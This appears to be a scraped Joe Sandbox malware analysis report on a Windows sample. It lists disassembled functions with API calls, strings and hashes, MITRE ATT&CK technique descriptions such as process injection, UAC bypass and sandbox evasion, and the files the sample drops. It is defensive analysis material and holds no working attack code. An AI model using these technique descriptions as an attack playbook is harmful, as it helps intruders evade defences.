Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 1f2fedf5d4fa8a2e7cb22b75b3c3b56783309c90b04de56e1210734bd4e057d6
Instruction ID: ba68a62b20fad01ccaccc970c8327767b40d5aba6de533f84323b7e86f333a47
Opcode Fuzzy Hash: 1f2fedf5d4fa8a2e7cb22b75b3c3b56783309c90b04de56e1210734bd4e057d6
Instruction Fuzzy Hash: CE01B571A42214ABCB16EBA4CC619FFB7ADEF12360B50061AF8615F2C1EE356808D750

Function 002FBBC6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 002FBC07

Part of subcall function 00301821: _memmove.LIBCMT ref: 0030185B

_wcscat.LIBCMT ref: 003334C3

Strings

c;, xrefs: 002FBC47

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: FullNamePath_memmove_wcscat
String ID: c;
API String ID: 257928180-468338140
Opcode ID: ef2c6edc0bba16269895e22bda5592cd33f5c96b11a4a590a9e3d899fa42023d
Instruction ID: 12e10e99cee8604e3bd2c412926fd5fd2cf27f1ca84224d15c810eb1fcf54ffc
Opcode Fuzzy Hash: ef2c6edc0bba16269895e22bda5592cd33f5c96b11a4a590a9e3d899fa42023d
Instruction Fuzzy Hash: AF11703591120C9ACB47FBA4D946EEEB7A8AF08390B1040A6FA499B291DA7097984B50

Function 003591B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 003591D4
__fread_nolock.LIBCMT ref: 003591E9

Strings

EA06, xrefs: 0035921B

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 326fd82a324cf124f954e6b90dea111bb6ad0e93bdaed5a9cf7e57b156eb8fde
Instruction ID: 7187962c1ab05cf65f58fc8075719f3dd3c6d1693eea375891e307cf07c02caf
Opcode Fuzzy Hash: 326fd82a324cf124f954e6b90dea111bb6ad0e93bdaed5a9cf7e57b156eb8fde
Instruction Fuzzy Hash: AC01F971D04218AEDB29CBA8CC56FEE7BFCDB15311F00419BF552D6181E474A608CB60

Function 00349698 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00301A36: _memmove.LIBCMT ref: 00301A77

Part of subcall function 0034B57D: GetClassNameW.USER32(?,?,000000FF), ref: 0034B5A0

SendMessageW.USER32(?,00000180,00000000,?), ref: 00349706

Strings

ComboBox, xrefs: 003496A5
ListBox, xrefs: 003496D0

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 3beaccb312a51c30405d99b9b3fdca554f1e189e57d679ccc6a333eaddd00b10
Instruction ID: 243041e74e28a68b15b4d4ae57d3c550d5940ab52b2f551b1d19d23ba9c5e1c5
Opcode Fuzzy Hash: 3beaccb312a51c30405d99b9b3fdca554f1e189e57d679ccc6a333eaddd00b10
Instruction Fuzzy Hash: 490184B1A42108ABDB16EBA0C862AFFB7EDDF15340F500116B8416B2C1DE55AE0897B1

Function 0034971D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00301A36: _memmove.LIBCMT ref: 00301A77

Part of subcall function 0034B57D: GetClassNameW.USER32(?,?,000000FF), ref: 0034B5A0

SendMessageW.USER32(?,00000182,?,00000000), ref: 00349789

Strings

ComboBox, xrefs: 0034972A
ListBox, xrefs: 00349755

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: f72366c945c055ff855c0471734ffe4c87c46773170c8648f22f2108be1cf627
Instruction ID: be6e9e265f725e5495cabbe7c4a5527b0cb4b23eef5ddce7025704ab5744f73a
Opcode Fuzzy Hash: f72366c945c055ff855c0471734ffe4c87c46773170c8648f22f2108be1cf627
Instruction Fuzzy Hash: 4A01A7B1A521046BDB16EB60C962EFFB7ECDF11340F500116B8056B2C1DE159E089771

Function 00316CCE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00316CF0
__calloc_crt.LIBCMT ref: 00316D09

Strings

@R;, xrefs: 00316D20

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: __calloc_crt
String ID: @R;
API String ID: 3494438863-3059581472
Opcode ID: e48b65717ff8fe23b5839832af3884d1dd00035c842d02331b474cd950bfe7a0
Instruction ID: 951809c27d9dd18b7aafe80126d3119a5cfdbe7986766b570a5d71be421ce840
Opcode Fuzzy Hash: e48b65717ff8fe23b5839832af3884d1dd00035c842d02331b474cd950bfe7a0
Instruction Fuzzy Hash: 1BF044723046128FF72F9BA9BC136E527A9F789724F510526E300CE192E77488C18694

Function 00355350 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0035536E
_wcscmp.LIBCMT ref: 00355380

Strings

#32770, xrefs: 0035537A

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 479e5b414043eb64267b95d2cedb19da59fab243fc3e4f12eef297f151a5ca68
Instruction ID: 590fdcffddbb67484ed41e945023f74e0cc2aa3e09d765b37c501710af877937
Opcode Fuzzy Hash: 479e5b414043eb64267b95d2cedb19da59fab243fc3e4f12eef297f151a5ca68
Instruction Fuzzy Hash: 94E06132A0432827E7219A55DC05FD7F7BCDB46771F000057FD08D3040D5607A4487D0

Function 00348675 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00348683

Part of subcall function 003134BA: _doexit.LIBCMT ref: 003134C4

Strings

AutoIt, xrefs: 00348677
Error allocating memory., xrefs: 0034867C

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 78320358bff7f5a72af6636574cd6ce8553c39c29b694756ca7f1ddcc9b7779f
Instruction ID: 9f1b850d697da4ac3b1ed357cdf513f07a62b8ad563e386df12016fda301e3d2
Opcode Fuzzy Hash: 78320358bff7f5a72af6636574cd6ce8553c39c29b694756ca7f1ddcc9b7779f
Instruction Fuzzy Hash: AED05B3138531836E25B3794AC17FCA7A488F05B52F100456FB045D1C34DE695D142D9

Function 00330181 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 0032FFC1

Part of subcall function 0036C4A1: LoadLibraryA.KERNEL32(kernel32.dll,?,003301AA,?), ref: 0036C4AF
Part of subcall function 0036C4A1: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0036C4C1

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 003301B9

Strings

WIN_XPe, xrefs: 0032FFD4

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: 0a91d93dee1414d3c964078aa7b20768e8117a1924c7157e4f5f8c9f5a13f656
Instruction ID: c47a6f09dd494018d007094ae5a1427f23a603d912ebdac9c23caadebd240153
Opcode Fuzzy Hash: 0a91d93dee1414d3c964078aa7b20768e8117a1924c7157e4f5f8c9f5a13f656
Instruction Fuzzy Hash: 4FF03970814129EFCB1BDB91DA98AECBBBCAB09304F2000A6E142B2090C7B08F44CF20

Function 00305800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19windowCOMMON

Download Yara Rule

APIs

DestroyIcon.USER32(,j;0j;,003B6A2C,003B6890,?,00305A53,003B6A2C,003B6A30,?,00000004), ref: 00305823

Strings

SZ0,j;0j;, xrefs: 00305804
,j;0j;, xrefs: 00305808, 00305821

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: DestroyIcon
String ID: ,j;0j;$SZ0,j;0j;
API String ID: 1234817797-3161902991
Opcode ID: f51a485bace4144d0c834b66e60ac68f0b0205f01905f7079afa9309734e4251
Instruction ID: aab8926241d486b53d51de4fdd5913d8902d1df585e364cc11d2665b04ca45b5
Opcode Fuzzy Hash: f51a485bace4144d0c834b66e60ac68f0b0205f01905f7079afa9309734e4251
Instruction Fuzzy Hash: 12E0C73211420AEBEB220F0CD804B96FBECAF61321F65C026E880460A0D3B16CE0CF98

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5daucomrx8.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Change of critical system settings

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js

C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

C:\Users\user\AppData\Local\LinkGuard Dynamics\r

C:\Users\user\AppData\Local\Temp\369580\Origin.pif

C:\Users\user\AppData\Local\Temp\369580\Z

C:\Users\user\AppData\Local\Temp\Alot

C:\Users\user\AppData\Local\Temp\Bdsm

C:\Users\user\AppData\Local\Temp\Beginning

C:\Users\user\AppData\Local\Temp\Buck

C:\Users\user\AppData\Local\Temp\Chad

C:\Users\user\AppData\Local\Temp\Consecutive

C:\Users\user\AppData\Local\Temp\Convenience

Windows Analysis Report
5daucomrx8.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
